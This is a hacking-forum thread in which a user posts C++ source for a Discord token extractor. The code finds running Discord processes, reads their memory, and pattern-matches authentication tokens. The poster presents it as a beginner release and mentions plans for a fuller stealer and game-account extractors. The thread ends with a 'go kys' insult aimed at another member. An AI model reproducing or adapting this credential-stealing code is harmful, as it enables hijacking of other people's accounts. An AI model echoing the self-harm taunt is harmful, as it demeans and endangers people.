

Forum:[Hack Forums](#)

Thread: [\[SOURCE\] C++ Discord Token Extractor](#)

Delta Wizard - June 3, 2025, 9:23 am

Hello Hack Forums,

I have decided to release this simple discord token extractor for fun! I hope some beginners can learn from this.

Code // discord.cpp

```
#include "discord.h"
#include <iostream>
#include <algorithm>
#include <tlhelp32.h>
#include <psapi.h>
#include <future>
#include <sstream>
```

```
std::vector<BYTE> CTokenExtractor::sharedBuffer(BUFFER_SIZE);
std::mutex CTokenExtractor::bufferMutex;
```

```
bool CTokenExtractor::IsValidChar(char c) {
    return (c >= 'a' && c <= 'z') ||
           (c >= 'A' && c <= 'Z') ||
           (c >= '0' && c <= '9') ||
           c == '-' || c == '_';
}
```

```
std::string CTokenExtractor::ScanForFirstToken(const std::string& data) {
    size_t len = data.length();
```

```
    for (size_t i = 0; i < len - 70; i++) {
        if (!IsValidChar(data[i])) continue;
```

```
        size_t start = i;
        int validCount = 0;
```

```
        while (validCount < 26 && i < len && IsValidChar(data[i])) {
            validCount++;
            i++;
        }
```

```
        if (validCount != 26 || i >= len || data[i] != '.') {
            i = start;
            continue;
        }
        i++;
```

```

    validCount = 0;
    while (validCount < 6 && i < len && IsValidChar(data[i])) {
        validCount++;
        i++;
    }

    if (validCount != 6 || i >= len || data[i] != '.') {
        i = start;
        continue;
    }
    i++;

    validCount = 0;
    while (validCount < 38 && i < len && IsValidChar(data[i])) {
        validCount++;
        i++;
    }

    if (validCount == 38) {
        return data.substr(start, 72);
    }

    i = start;
}

return "";
}

std::string CTokenExtractor::ProcessMemoryChunk(const std::vector<BYTE>& buffer, size_t
bytesRead) {
    try {
        std::string decodedData(reinterpret_cast<const char*>(buffer.data()), bytesRead);
        return ScanForFirstToken(decodedData);
    }
    catch (...) {
        return "";
    }
}

std::string CTokenExtractor::DumpMemory(DWORD pid, std::atomic<bool>& shouldStop) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL) {
        std::cerr << "Failed to open process " << pid << std::endl;
        return "";
    }

    try {
        LPVOID address = nullptr;
        MEMORY_BASIC_INFORMATION memInfo;

        while (!shouldStop.load()) {
            SIZE_T result = VirtualQueryEx(hProcess, address, &memInfo, sizeof(memInfo));

```

```

    if (result == 0) break;

    if (memInfo.State == MEM_COMMIT && (memInfo.Protect & PAGE_READABLE) != 0) {
        SIZE_T regionSize = memInfo.RegionSize;
        if (regionSize > 0 && regionSize < MAX_REGION_SIZE) {
            for (SIZE_T offset = 0; offset < regionSize && !shouldStop.load(); offset +=
BUFFER_SIZE) {
                SIZE_T chunkSize = min(static_cast<SIZE_T>(BUFFER_SIZE), regionSize - offset);

                std::lock_guard<std::mutex> lock(bufferMutex);
                LPVOID baseAddress = reinterpret_cast<LPVOID>(
                    reinterpret_cast<uintptr_t>(memInfo.BaseAddress) + offset);

                SIZE_T bytesRead;
                if (ReadProcessMemory(hProcess, baseAddress, sharedBuffer.data(),
                    chunkSize, &bytesRead)) {
                    if (bytesRead > 0) {
                        std::string match = ProcessMemoryChunk(sharedBuffer, bytesRead);
                        if (!match.empty()) {
                            CloseHandle(hProcess);
                            return match;
                        }
                    }
                }
            }
        }
    }

    if (shouldStop.load()) break;

    try {
        uintptr_t nextAddress = reinterpret_cast<uintptr_t>(memInfo.BaseAddress) +
memInfo.RegionSize;
        address = reinterpret_cast<LPVOID>(nextAddress);
    }
    catch (...) {
        break;
    }
}
catch (...) {
}

CloseHandle(hProcess);
return "";
}

std::vector<DWORD> CTokenExtractor::GetDiscordPids() {
    std::vector<std::pair<DWORD, SIZE_T>> processInfo;

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return {};
    }

```

```

}

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, &pe32)) {
    do {
        std::string processName;
#ifdef UNICODE
        int size = WideCharToMultiByte(CP_UTF8, 0, pe32.szExeFile, -1, nullptr, 0, nullptr, nullptr);
        if (size > 0) {
            std::vector<char> buffer(size);
            WideCharToMultiByte(CP_UTF8, 0, pe32.szExeFile, -1, buffer.data(), size, nullptr,
nullptr);
            processName = std::string(buffer.data());
        }
#else
        processName = std::string(pe32.szExeFile);
#endif

        std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);

        if (processName.find("discord") != std::string::npos) {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
            if (hProcess != NULL) {
                PROCESS_MEMORY_COUNTERS_EX pmc;
                if (GetProcessMemoryInfo(hProcess,
reinterpret_cast<PROCESS_MEMORY_COUNTERS*>(&pmc), sizeof(pmc))) {
                    processInfo.push_back({ pe32.th32ProcessID, pmc.WorkingSetSize });
                }
                CloseHandle(hProcess);
            }
        }
    } while (Process32Next(hSnapshot, &pe32));
}

CloseHandle(hSnapshot);

std::sort(processInfo.begin(), processInfo.end(),
[](const auto& a, const auto& b) { return a.second > b.second; });

std::vector<DWORD> pids;
for (const auto& info : processInfo) {
    pids.push_back(info.first);
}

return pids;
}

std::vector<std::string> CTokenExtractor::ExtractTokensFromMemory() {
    std::vector<DWORD> pids = GetDiscordPids();
    std::atomic<bool> shouldStop(false);

```

```

std::string foundToken;

if (pids.empty()) {
    return {};
}

std::vector<std::future<std::string>> futures;

for (DWORD pid : pids) {
    futures.push_back(std::async(std::launch::async, [pid, &shouldStop]() {
        return DumpMemory(pid, shouldStop);
    }));
}

for (auto& future : futures) {
    try {
        std::string result = future.get();
        if (!result.empty() && foundToken.empty()) {
            foundToken = result;
            shouldStop.store(true);
            break;
        }
    }
    catch (...) {
    }
}

if (!foundToken.empty()) {
    return { foundToken };
}

return {};
}

std::string CTokenExtractor::GetTokens() {
    std::vector<std::string> tokens;

    try {
        auto memoryTokens = ExtractTokensFromMemory();
        tokens.insert(tokens.end(), memoryTokens.begin(), memoryTokens.end());
    }
    catch (const std::exception& ex) {
        std::cerr << "Exception: " << ex.what() << std::endl;
    }

    if (tokens.empty()) {
        return "";
    }

    std::ostringstream result;
    for (size_t i = 0; i < tokens.size(); ++i) {
        if (i > 0) result << "\n";
        result << tokens[i];
    }
}

```

```
}  
  
    return result.str();  
}
```

Delta Wizard - June 3, 2025, 9:25 am

LOL mb I was jus bored atp. I'm hella sorry if it's LQ. Do you think I should take it down? I'm kinda new on this forum. Don't want to step on any toes. I was planning on releasing a full stealer with other stuff in it, but I do not think that without leet status or smth I can't post files for bytes and the one post has a max character limit.

karinalaine8 - June 7, 2025, 11:23 am

Looks good dude. Keep up the work.

Delta Wizard - June 8, 2025, 9:08 am

(Jun 7, 2025 11:23 AM)karinalaine8 Wrote: [\[CITE\]](#) Looks good dude. Keep up the work.
Thanks man I'm planning on releasing more stuff. Rep farming and such. Let me know if you also want a release that includes a games extractor for minecraft, roblox, steam, etc.

kyomonster12 - June 8, 2025, 9:13 am

Thanks man I'm planning on releasing more stuff. Rep farming and such. Let me know if you also want a release that includes a games extractor for minecraft, roblox, steam, etc.

Delta Wizard - June 8, 2025, 9:16 am

(Jun 8, 2025 09:13 AM)kyomonster12 Wrote: [\[CITE\]](#) Thanks man I'm planning on releasing more stuff. Rep farming and such. Let me know if you also want a release that includes a games extractor for minecraft, roblox, steam, etc.
Go kys